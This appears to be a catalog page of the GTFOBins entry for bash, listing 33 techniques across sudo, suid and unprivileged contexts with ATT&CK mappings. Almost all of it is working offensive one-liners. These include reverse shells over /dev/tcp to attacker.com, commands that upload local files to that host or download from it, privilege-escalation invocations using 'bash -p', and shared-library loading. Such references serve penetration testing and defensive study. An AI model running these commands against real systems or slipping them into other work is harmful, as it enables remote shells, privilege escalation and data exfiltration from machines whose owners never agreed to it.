CatalogGTFOBins

GTFO · Tool

bash

33 techniquesLinuxGTFOBinsGPL-3.0

download

File DownloadPrivilege EscalationLinux
bash -c '{ echo -ne "GET /path/to/input-file HTTP/1.0\r\nhost: attacker.com\r\n\r\n" 1>&3; cat 0<&3; } \
    3<>/dev/tcp/attacker.com/12345 \
    | { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } >/path/to/output-file'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
download
MITRE
T1105

download

File DownloadPrivilege EscalationLinux
bash -p -c '{ echo -ne "GET /path/to/input-file HTTP/1.0\r\nhost: attacker.com\r\n\r\n" 1>&3; cat 0<&3; } \
    3<>/dev/tcp/attacker.com/12345 \
    | { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } >/path/to/output-file'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
download
MITRE
T1105

download

File DownloadLinux
bash -c '{ echo -ne "GET /path/to/input-file HTTP/1.0\r\nhost: attacker.com\r\n\r\n" 1>&3; cat 0<&3; } \
    3<>/dev/tcp/attacker.com/12345 \
    | { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } >/path/to/output-file'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
download
MITRE
T1105

download

File DownloadPrivilege EscalationLinux
bash -c 'echo "$(</dev/tcp/attacker.com/12345) >/path/to/output-file'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
download
MITRE
T1105

download

File DownloadPrivilege EscalationLinux
bash -p -c 'echo "$(</dev/tcp/attacker.com/12345) >/path/to/output-file'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
download
MITRE
T1105

download

File DownloadLinux
bash -c 'echo "$(</dev/tcp/attacker.com/12345) >/path/to/output-file'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
download
MITRE
T1105

file-read

File ReadPrivilege EscalationLinux
bash -c 'echo "$(</path/to/input-file)"'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege EscalationLinux
bash -p -c 'echo "$(</path/to/input-file)"'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
file-read
MITRE
T1005

file-read

File ReadLinux
bash -c 'echo "$(</path/to/input-file)"'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege EscalationLinux

This only works interactively from an existing `bash` session.

HISTTIMEFORMAT=$'\r\e[K'
history -c
history -r /path/to/input-file
history
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege EscalationLinux

This only works interactively from an existing `bash` session.

HISTTIMEFORMAT=$'\r\e[K'
history -c
history -r /path/to/input-file
history
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
file-read
MITRE
T1005

file-read

File ReadLinux

This only works interactively from an existing `bash` session.

HISTTIMEFORMAT=$'\r\e[K'
history -c
history -r /path/to/input-file
history
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-read
MITRE
T1005

file-write

File WritePrivilege EscalationLinux
bash -c 'echo DATA >/path/to/output-file'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WritePrivilege EscalationLinux
bash -p -c 'echo DATA >/path/to/output-file'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
file-write
MITRE
T1565

file-write

File WriteLinux
bash -c 'echo DATA >/path/to/output-file'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-write
MITRE
T1565

file-write

File WritePrivilege EscalationLinux

This only works interactively from an existing `bash` session. It adds timestamps to the output file.

HISTIGNORE='history *'
history -c
DATA
history -w /path/to/output-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WritePrivilege EscalationLinux

This only works interactively from an existing `bash` session. It adds timestamps to the output file.

HISTIGNORE='history *'
history -c
DATA
history -w /path/to/output-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
file-write
MITRE
T1565

file-write

File WriteLinux

This only works interactively from an existing `bash` session. It adds timestamps to the output file.

HISTIGNORE='history *'
history -c
DATA
history -w /path/to/output-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-write
MITRE
T1565

library-load

Library LoadPrivilege EscalationLinux
bash -c 'enable -f /path/to/lib.so x'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
library-load
MITRE
T1574

library-load

Library LoadPrivilege EscalationLinux
bash -p -c 'enable -f /path/to/lib.so x'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
library-load
MITRE
T1574

library-load

Library LoadLinux
bash -c 'enable -f /path/to/lib.so x'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
library-load
MITRE
T1574

reverse-shell

Reverse/Bind ShellPrivilege EscalationLinux
bash -c 'exec bash -i &>/dev/tcp/attacker.com/12345 <&1'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
reverse-shell

reverse-shell

Reverse/Bind ShellPrivilege EscalationLinux
bash -p -c 'exec bash -p -i &>/dev/tcp/attacker.com/12345 <&1'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
reverse-shell

reverse-shell

Reverse/Bind ShellLinux
bash -c 'exec bash -i &>/dev/tcp/attacker.com/12345 <&1'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
reverse-shell

shell

ExecutionPrivilege EscalationLinux
bash
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege EscalationLinux
bash -p
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
shell
MITRE
T1059

shell

ExecutionLinux
bash
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
shell
MITRE
T1059

upload

File UploadPrivilege EscalationLinux
bash -c 'echo -e "POST / HTTP/0.9\n\n$(</path/to/input-file)" >/dev/tcp/attacker.com/12345'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
upload
MITRE
T1041

upload

File UploadPrivilege EscalationLinux
bash -p -c 'echo -e "POST / HTTP/0.9\n\n$(</path/to/input-file)" >/dev/tcp/attacker.com/12345'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
upload
MITRE
T1041

upload

File UploadLinux
bash -c 'echo -e "POST / HTTP/0.9\n\n$(</path/to/input-file)" >/dev/tcp/attacker.com/12345'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
upload
MITRE
T1041

upload

File UploadPrivilege EscalationLinux
bash -c 'echo -n "$(</path/to/input-file)" >/dev/tcp/attacker.com/12345'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
upload
MITRE
T1041

upload

File UploadPrivilege EscalationLinux
bash -p -c 'echo -n "$(</path/to/input-file)" >/dev/tcp/attacker.com/12345'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
upload
MITRE
T1041

upload

File UploadLinux
bash -c 'echo -n "$(</path/to/input-file)" >/dev/tcp/attacker.com/12345'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
upload
MITRE
T1041